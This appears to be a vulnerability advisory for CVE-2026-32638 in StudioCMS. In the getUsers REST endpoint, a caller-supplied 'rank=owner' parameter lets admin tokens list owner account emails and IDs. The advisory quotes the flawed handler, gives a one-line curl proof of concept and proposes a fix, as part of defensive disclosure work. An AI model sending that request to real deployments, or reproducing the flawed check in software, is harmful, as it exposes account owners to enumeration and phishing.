CVE-2026-32638
LOW2.7EPSS 0.03%StudioCMS REST getUsers Exposes Owner Account Records to Admin Tokens
Description
## Summary The REST API `getUsers` endpoint in StudioCMS uses the attacker-controlled `rank` query parameter to decide whether owner accounts should be filtered from the result set. As a result, an admin token can request `rank=owner` and receive owner account records, including IDs, usernames, display names, and email addresses, even though the adjacent `getUser` endpoint correctly blocks admins from viewing owner users. This is an authorization inconsistency inside the same user-management surface. ## Details ### Vulnerable Code Path File: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1605-1647 ```ts .handle( 'getUsers', Effect.fn( function* ({ urlParams: { name, rank, username } }) { if (!restAPIEnabled) { return yield* new RestAPIError({ error: 'Endpoint not found' }); } const [sdk, user] = yield* Effect.all([SDKCore, CurrentRestAPIUser]); if (user.rank !== 'owner' && user.rank !== 'admin') { return yield* new RestAPIError({ error: 'Unauthorized' }); } const allUsers = yield* sdk.GET.users.all(); let data = allUsers.map(...); if (rank !== 'owner') { data = data.filter((user) => user.rank !== 'owner'); } if (rank) { data = data.filter((user) => user.rank === rank); } return data; }, ``` The `rank` variable in `if (rank !== 'owner')` is the request query parameter, not the caller's privilege level. An admin can therefore pass `rank=owner`, skip the owner-filtering branch, and then have the second `if (rank)` branch return only owner accounts. ### Adjacent Endpoint Shows Intended Security Boundary File: `D:/bugcrowd/studiocms/repo/packages/studiocms/frontend/pages/studiocms_api/_handlers/rest-api/v1/secure.ts`, lines 1650-1710 ```ts const existingUserRankIndex = availablePermissionRanks.indexOf(existingUserRank); const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank); if (loggedInUserRankIndex <= existingUserRankIndex) { return yield* new RestAPIError({ error: 'Unauthorized to view user with higher rank', }); } ``` `getUser` correctly blocks an admin from viewing an owner record. `getUsers` bypasses that boundary for bulk enumeration. ### Sensitive Fields Returned The `getUsers` response includes: - `id` - `email` - `name` - `username` - `rank` - timestamps and profile URL/avatar fields when present This is enough to enumerate all owner accounts and target them for phishing, social engineering, or follow-on attacks against out-of-band workflows. ## PoC ### HTTP PoC Use any admin-level REST API token: ```bash curl -X GET 'http://localhost:4321/studiocms_api/rest/v1/secure/users?rank=owner' \ -H 'Authorization: Bearer <admin-api-token>' ``` Expected behavior: - owner records should be excluded for admin callers, consistent with `getUser` Actual behavior: - the response contains owner user objects, including email addresses and user IDs ### Local Validation of the Exact Handler Logic I validated the filtering logic locally with the same conditions used by `getUsers` and `getUser`. Observed output: ```json { "admin_getUsers_rank_owner": [ { "email": "[email protected]", "id": "owner-1", "name": "Site Owner", "rank": "owner", "username": "owner1" } ], "admin_getUser_owner": "Unauthorized to view user with higher rank" } ``` This demonstrates the authorization mismatch clearly: - bulk listing with `rank=owner` exposes owner records - direct access to a single owner record is denied ## Impact - **Owner Account Enumeration:** Admin tokens can recover owner user IDs, usernames, display names, and email addresses. - **Authorization Boundary Bypass:** The REST collection endpoint bypasses the stricter per-record rank check already implemented by `getUser`. - **Chaining Value:** Exposed owner contact data can support phishing, account-targeting, and admin-to-owner pivot attempts in deployments that treat owner identities as higher-trust principals. ## Recommended Fix Apply rank filtering based on the caller's role, not on the request query parameter, and reuse the same privilege rule as `getUser`. Example fix: ```ts const loggedInUserRankIndex = availablePermissionRanks.indexOf(user.rank); data = data.filter((candidate) => { const candidateRankIndex = availablePermissionRanks.indexOf(candidate.rank); return loggedInUserRankIndex > candidateRankIndex; }); if (rank) { data = data.filter((candidate) => candidate.rank === rank); } ``` At minimum, replace: ```ts if (rank !== 'owner') { data = data.filter((user) => user.rank !== 'owner'); } ``` with a check tied to `user.rank` rather than the query parameter.
Affected packages (1)
- npm/studiocmsfrom 0, < 0.4.4
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | LOW2.7 | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N |
References (5)
- ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-32638
- PATCHhttps://github.com/withstudiocms/studiocms
- WEBhttps://github.com/withstudiocms/studiocms/commit/aebe8bcb3618bb07c6753e3f5c982c1fe6adea64
- WEBhttps://github.com/withstudiocms/studiocms/releases/tag/[email protected]
- WEBhttps://github.com/withstudiocms/studiocms/security/advisories/GHSA-xvf4-ch4q-2m24